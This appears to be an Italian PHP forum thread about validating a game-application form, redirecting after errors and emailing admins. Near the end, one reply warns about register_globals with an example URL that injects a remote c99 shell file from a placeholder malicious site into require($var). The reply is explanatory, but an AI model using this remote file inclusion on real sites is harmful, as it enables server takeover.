form per iscrizione - migliorie

Monital

Utente Attivo
15 Apr 2009
778
2
18
Salve

ho da poco creato uno script per la candidatura ad un gioco manageriale e volevo renderlo completo di qualche particolare quindi se qualcuno a tempo perso può darmi qualche suggerimento glie ne sarei ben grato.

ci sono alcune cose che vorrei migliorare ma partiamo con la prima

A)

in pratica lo script ha una pagina in htm dove è presente il form una volta completate le caselle alla pressione del tasto "invia" le variabili del form vengono inviate ad un file php che le elabora. ho inserito nello stesso la possibilitò che se uno dei campi resta vuoto esce un messaggio di errore

però vorrei che dopo il mesaggio di errore si riaggiorni la pagina del form

questo il codice che fa riconoscere l'errore

Codice:
$errore=false;
#ho impostato la variabile a false in modo che quando c'e mi mostri torna indietro
if ( ($nome == "") || ($contatto== "") || ($internet== "") || ($dettagli== "") || ($motivo== "") || ($presenta== "")  || ($disponibile== "")) {
#se solo uno dei campi è vuoto
$errore=true;
}
#se c'e l'errore mi dice di inserirli di nuovo altrimenti mi fa leggere gli annunci
if($errore){
echo"<br><b>E' necessario compilare tutti i campi affinchè la candidatura vada a buon fine, ritorna al form</b><br> ";


}
else{

dopo l'else parte il codice php per il completamenteo dello script, come posso modificare l'echo affinchè dopo il riconoscimento dell'errore riaggiorni la pagina?
 

Monital

Utente Attivo
15 Apr 2009
778
2
18
Rigorosamente *PRIMA* di visualizzare il messaggio inserisci questo codice:
PHP:
header("Refresh:3;index.php");
E dopo 3 secondi l'utente sarà reindirizzato alla pagina index.php.

ale grazie della risposta tempestiva ma purtroppo non funziona l'ho messo priam della riga che inizia con echo


dopo questo volevo sapere n'altra cosa

se vengono compilati tutti i campi quindi si verfifica l'else faccio scrivere i dati in un file htm( e di questo vorrei approfondire dii seguito) tramite questo codice
$font_size=2;
$fp=fopen("registra.htm","a");
fseek($fp, -3, SEEK_CUR);
$stringa="
etc.;
fwrite($fp,$stringa);
fclose($fp);

dopodichè ho chiusoi ph con ?> e riaperto per inviare un email agli amministratori

però l'email la manda anche se uno non ha compilato correttamente i campi come fargli capire che deve mandare l'email solo se la candidatura è avventuta con successo?
 

Monital

Utente Attivo
15 Apr 2009
778
2
18
Intanto posta il codice del programma, comprensivo del redirect nella maniera che ti avevo suggerito io.

Codice:
<?php
$errore=false;
#ho impostato la variabile a false in modo che quando c'e mi mostri torna indietro
if ( ($dato1== "") || ($dato2== "") || ($dato3== "") || ($dato4== "") || ($dato5== "") || ($dato6== "")  || ($dato7== "")) {
#se solo uno dei campi è vuoto
$errore=true;
}
#se c'e l'errore mi dice di inserirli di nuovo altrimenti mi fa leggere gli annunci
if($errore){
header("Refresh:3;form.php"); 
echo"<br><b>E' necessario compilare tutti i campi affinchè la candidatura vada a buon fine, ritorna al form</b><br> ";


}
else{
 

Monital

Utente Attivo
15 Apr 2009
778
2
18
Codice:
<?php
$errore=false;
#ho impostato la variabile a false in modo che quando c'e mi mostri torna indietro
if ( ($dato1== "") || ($dato2== "") || ($dato3== "") || ($dato4== "") || ($dato5== "") || ($dato6== "")  || ($dato7== "")) {
#se solo uno dei campi è vuoto
$errore=true;
}
#se c'e l'errore mi dice di inserirli di nuovo altrimenti mi fa leggere gli annunci
if($errore){
header("Refresh:3;form.php"); 
echo"<br><b>E' necessario compilare tutti i campi affinchè la candidatura vada a buon fine, ritorna al form</b><br> ";


}
else{

nessuna idea ? :crying:
 

Monital

Utente Attivo
15 Apr 2009
778
2
18
Ma al momento del redirect prima non è stampato nessun testo né impostato alcun header, vero?

no ale nessun testo e nessun header prima del redirect, dopo si che c'è l'header per l'invio dell'email

P.s. eliox

aiutami a ricordare dove si trova il register global :book:
 

alessandro1997

Utente Attivo
6 Ott 2009
5.302
1
0
26
Roma
alessandro1997.netsons.org
register_globals è un'impostazione del file php.ini ed è un enorme rischio per la sicurezza. Sinceramente credo che questa gli sviluppatori di PHP se la potevano anche risparmiare.

Praticamente se è impostato ad on e tu hai uno script.php strutturato così:
PHP:
<?php
echo $var;
?>
Ed io vi accedo da questo URL: http://www.tuosito.com/script.php?var=ciao allora $var sarà uguale a $_GET['var'] e lo script stamperà a video ciao.

Ma se hai uno script strutturato così:
PHP:
<?php
require($var);
?>
Perché magari $var è definita in un altro file, e io lo so, e vi accedo da questo URL: http://www.tuosito.com/script.php?var=http://www.sitomaligno.com/shellc99.txt... che cosa succede? 0:)
 
Discussioni simili
Autore Titolo Forum Risposte Data
M Unire 2 funzioni per l'invio di un form e con l'apertura di un div Javascript 0
L form immagini per il database PHP 0
U PHP bottone per invio mail o ritorno al form PHP 15
T [PHP] Creare Honeypot per form contatti PHP 10
D [WordPress] come fare per estrarre dati da un db MySQL tramite una form e visualizzare il risultato WordPress 0
I Guida/Tutorial configurare PHPMailer per inviare mails tramite contact form? PHP 2
M [PHP] Framework per form complessi (configuratore prodotto) PHP 6
S [PHP] Aiuto creazione form php per completamento modello word PHP 1
Z [MySQL] Campi corretti per form... MySQL 2
sandropochi [PHP] Form per creare filtro di ricerca su DB PHP 8
K [WordPress] Plugin per inserire un form per la ricerca in un database.. come si fa? WordPress 1
U [PHP] form per ricerca multipla: Unknown column 'undefined' in 'where clause' PHP 2
S Concatenare due campi di un form per creare un indirizzo web valido Javascript 7
xone Form completo Testi + multiple image per inserimento Annunci PHP 0
C Come posso integrare il bottone "paga adesso" di paypal e un form php per invio dati? PHP 1
A Form per modifica record database PHP 9
F aiuto per funzionamento sito responsive e form contatti HTML e CSS 29
elpirata Idee per personalizzare form HTML e CSS 9
L errore mysql per form di registrazione PHP 3
E Correzione per form PHP/HTML PHP 3
B Problema form mail per invio doppio allegato PHP 1
P Recupero dati per select form PHP 9
A Problema orario invio mail per form PHP 4
A consiglio uso jquery php per mostrare parte di un form PHP 6
A consiglio uso jquery per mostrare parte di un form jQuery 0
A Aiuto per Select form dinamica PHP 0
L come passare il campo allegato dal file html al fiel php per spedirlo con un form PHP 12
S Form per mandare la mail HTML e CSS 2
M [risolto] Script ajax per form e mappe Ajax 6
B aiuto per Form di eliminazione record PHP 21
asevenx form per formattare testo e inserirlo in databse PHP 1
U form mail per inviare tracciabilità corriere PHP 0
L Aiuto per ultimazione form invio email PHP 3
F Controlli form per Registrazione utenti PHP 9
A Pulsante per compilare una form php in automatico con dati presi da un db PHP 6
F Crear un form Contatti, per un Bed&Breakfast, dinamico, con Wordpress WordPress 3
A form in php o html per raccolta mail PHP 4
A da dove incominciare per fare vari form PHP 2
M Problema con form per accesso area riservata ai soci PHP 2
P Form per ricerca multipla in MYsql PHP 2
A problema con un semplice form per un loggin in php PHP 2
M Sicurezza dati form per insert e select in database PHP 11
C Aiuto per form PHP 5
A Aiuto per form email con allegato PHP 4
YellowMan Form mail per WordPress in italiano WordPress 2
P Mercatino Form annunci per regione Classic ASP 8
A Un input di tipo button deve per forza essere contenuto in un Form ?? HTML e CSS 6
R Altri controlii per windows form .NET Framework 2
asevenx problema con funzione per far apparire e scomparire un form di commenti PHP 1
G Inserire un campo mysql in un select per form PHP 3

Discussioni simili